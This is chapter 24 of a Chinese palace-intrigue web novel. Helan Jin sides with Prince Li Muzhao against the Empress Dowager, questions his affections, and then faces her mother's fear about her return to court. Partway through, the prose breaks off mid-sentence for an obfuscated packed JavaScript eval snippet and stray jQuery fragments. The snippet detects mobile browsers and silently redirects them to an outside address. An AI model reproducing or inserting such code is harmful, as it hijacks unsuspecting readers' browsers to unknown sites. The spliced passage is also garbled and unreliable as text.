24. 第 24 章
作品:《折骨为谋》 “母后息怒。”楚皇后终于开口,柔声打圆场,“昭儿定是故意说些玩笑话,与母后逗趣呢。您是知道他的,府里连个伺候的姬妾都没有,哪里是这样的性子。”
太后眉头却没有舒展半分,冷哼一声,语气里满是不加掩饰的厌恶:“你不必为他辩解,王府清净,他有一日宿在王府吗?到底是骨子里的劣根,和他母妃一个样子,上不了台面!”
这话便说得极重了。贺兰瑾余光瞥见,李牧昭垂在身侧的手猛地攥紧,指节泛白,手背青筋隐隐跳动,显然是怒到了极致,却又硬生生忍着。
她特意查过,李牧昭的母妃许氏的母家当年攀附晋王谋逆,落得满门抄斩的下场。可陛下彼时极其宠爱许氏,虽不曾宽赦许家,也没有牵连许氏。转年许氏还因怀有身孕,直接晋封淑妃。只是不知是何原因,孩子还未诞下,便被下旨打入冷宫,次年深秋便在冷宫里断了气。”
贺兰瑾到底心头一软,几乎是下意识地,嘴比脑子快地脱口而出:“太后娘娘素来慈爱,只是儿孙自有儿孙福,太后娘娘何必烦扰?诸位殿下都是极其孝顺的,太后娘娘洪福齐天,谁人不艳羡呢。”
她这话既给了太后台阶,又暗指不该干涉晚辈婚事,更巧妙地避开了“母妃”的话题,算是隐晦地为李牧昭解了围。
太后眯起眼睛,眼神在她和李牧昭之间打转,语气阴恻恻的:“儿孙自有儿孙福?这般管教已闹出这些丑事,若是不多加管教,岂不是要翻天?”
“皇祖母教训的是。”李牧昭霍然起身,深深一揖,锋芒全敛,语气却绵里藏针,“只是表妹容貌倾城,才名远播,应当许以良配,孙儿性子顽劣,怕是要耽误了表妹。”
楚幼珍急得攥紧太后袖口:“昭哥哥,说这话是什么意思?莫不是还对王家那个贱人念念不忘!”
贺兰瑾下意识回头看向李牧昭——这又是谁?
李牧昭抬眸,声音冷了几分:“表妹莫要胡说。”
太后拍开她的手,目光钉在李牧昭身上:“王氏出身卑微,不堪大任,你也不必狡辩了,你的婚事全听长辈安排。”
“哀家乏了,都退下吧。”太后语气强硬,带着不容置喙的威严,挥手示意众人退下。
荣寿宫外,日头已过中天,宫道上的影子被晒得极短。贺兰瑾满脑子盘旋的都是“出身卑微的王氏”,心头疑窦丛生,莫不是真的有一位求娶不得的心上人?
“郡主留步。”身后传来李牧昭的声音,他已一改方才殿内的阴霾,快步追上前来,语气带着几分刻意的轻松,“坊间传言,还望郡主不要放在心上。”
贺兰瑾一瞬不瞬地盯着他,像盯着猎物的猛兽,仿佛要从他脸上看出些破绽来。
李牧昭被她看得莫名,下意识摸了摸自己的脸颊,试探着问道:“郡主?是有什么不妥吗?”
贺兰瑾的眼神没有偏移分毫,声音里夹杂着几分未散的寒意,直截了当:“殿下可有心上人?”
李牧昭突然笑了,眉眼间漾开几分玩世不恭的散漫,尾音都带着点轻佻:“郡主为何对本王有没有心上人这般好奇?
见贺兰瑾冷着脸不接话,他才懒洋洋地补充道:“当然没有,本王怎可能会为一段情,而放弃整片花海呢。”
这话答得轻浮,贺兰瑾垂眸,长睫掩去眼底的寒意,声音平淡无波:“华瑾告退。”说完便头也不回向外走去,留下李牧昭一头雾水站在原地。
“李牧昭,这是我第二次给你机会,也是最后一次了。”
下次见面你我便是至亲至疏的夫妻,将你卷进这场斗争里,是我无可奈何,是你命不好。
贺兰瑾一直很清楚,这场还未公开的联姻,从根上便带着满是利用的算计。她不在乎他是否滥情,但绝不容许自己插足别人姻缘。
宫道上的寒风四起,贺兰瑾攥紧了掩在袖中的手,指尖冰凉。宋萧说得对,李牧昭这样的人不可信。
前路漫漫,她能信的,从来只有自己。
贺兰瑾走得飞快,裙裾扫过宫道的青石板,带起一阵急促的风。一来是一大早便应付皇宫里这些各怀鬼胎的人,只觉得浑身骨头都在叫嚣着疲惫;二来是打心底里怕了楚皇后追上来,她实在是没力气应对她用那副温婉得体的模样虚情假意地嘘寒问暖。
回了北安侯府,门口候着的宋萧刚要张口,叽叽喳喳的问询还没说出口,就被贺兰瑾一身生人勿近的寒气堵了回去。
她径直穿过回廊,掀了帘子进了自己的屋子,连外袍都没脱,便一头扎倒在铺着软垫的床上,脸埋进带着淡淡皂角香的被褥里,连动一动的力气都没了。
真的不在乎自己的姻缘吗?
鼻尖蹭着柔软的锦缎,心底那点被强行压下的委屈忽然冒了头。怎会不在乎?她儿时也偷偷幻想过,长大了会嫁给什么样的人。
是像大哥那样,永远温和浅笑,每次回京都会绕路登上玄鹤宗看她的温润公子?
还是像二哥那样,骑术精湛,笑起来时眼角眉梢都带着张扬的明媚少年?
可现在想来,都不是。
原来,是她不配。
北境三年,她手里沾过血,踏过尸山火海,她早已不再是深闺里的贵女。督查司的差事握在手里,父亲的旧案悬在心头,她每一步都走在刀尖上,时时刻刻都提着十二分的警惕?
罢了,姻缘这种事,本就不是她该肖想的。
窗外的日光渐渐斜了,透过窗棂在地上投下长长的影子。贺兰瑾闭上眼,将那些不合时宜的念头暂且压进心底最深处。
她还有更重要的事要做,不能在这里软弱。
“太夫人,姑娘回来便睡下了,连午膳都未用。”门外传来夏梧低柔的声音,带着几分小心翼翼,“奴婢们悄悄瞧了好几回,瞧着像是累着了。不如再等等,待姑娘醒了,奴婢请姑娘亲自去听雨阁给您问安?”
贺兰瑾在榻上缓缓直起身,窗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124103|180023||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外天色已浸在墨色里,只余天边一抹淡淡的月白。她揉了揉发胀的额角,竟不知自己睡了多久。
“吱呀”一声,一个小丫鬟捧着烛台轻手轻脚地进来,昏黄的烛火瞬间驱散了屋内的昏暗,将她的影子拉得长长地投在帐子上。
“几时了?”贺兰瑾一开口,才发觉嗓子干哑得厉害。
“回姑娘,已是戌时了。”
竟然一觉睡了这么久。
“姑娘,太夫人来了。”小丫鬟垂着眼帘回话,不敢抬头打量她的神色。
贺兰瑾叹了口气,利落起身,嘴上已应道:“请母亲稍候,我即刻过去。”
“是。”那小丫鬟如蒙大赦,几乎是脚不沾地地溜了出去。
贺兰瑾对着铜镜简单理了理睡乱的鬓发,便向外间正堂走去。
若说自己是整个侯府里穿得第二素净的人,那母亲徐夫人定是头一份。
此刻徐夫人正坐在正堂的梨花木椅上,身上是件半旧的月白色杭绸褙子,连滚边都用的是同色暗纹,头上只簪了支碧玉簪,素得像一汪清水。
她们母女俩往一处站,好像要亡国了一样。
贺兰瑾躬身行礼,许是刚睡醒的缘故,动作还有些发僵:“母亲怎么过来了?”
“我们说话吵着你了?”徐夫人抬眸,目光在她脸上细细打量,从略显苍白的脸色到微肿的眼尾,没放过一丝细节,语气依旧是惯常的温软,“饿不饿?厨房预备着,先用些饭吧。”
烛火在徐夫人眼角的皱纹里跳跃,贺兰瑾忽然想起儿时,徐夫人说话一直这样温柔细语。
她摇了摇头,声音还有些发哑:“我不饿。”
“厨房已经在温着汤了,不饿也要好好吃饭。”徐夫人顿了顿才又开口,“今日我过来,是听下人说,你要去督查司上任?”
贺兰瑾垂下眼,看着母亲枯瘦的手,轻声应道:“是,任督案司司正。”
“那幽州呢?你不回去了吗?”徐夫人眼底的担心像浸了水的棉絮,沉甸甸地坠着,“你为何非要回来?北境既已太平,是你一刀一枪打下来的太平,你就应该留在那里,守着你的军功,守着你的安稳,你为什么要回来?”
“母亲不希望我回来吗?”贺兰瑾喉间发苦,缓缓抬眸,“父亲当年在北境时,母亲不是日日夜夜盼着父亲回来吗?”
“那不一样。”徐夫人一直压抑的情绪骤然炸开,声音陡然拔高,带着几分失控的尖利,“你父亲当年费了多少功夫才把你送出去!阿瑾,你看不明白吗?他们皇家是要扒你的皮,吃你的肉,喝你的血啊!”
“阿娘!”眼看着徐夫人越喊越大声,脸色都涨得通红,贺兰瑾急忙出声打断,她起身走到徐夫人面前,蹲下身握住母亲冰凉的手,声音轻得像叹息,“不会的。”
她抬眸,眼底是一片死寂的平静:“我已经没有血,没有肉了。”
徐夫人的眼泪砸在交握的手上,烫的她生疼。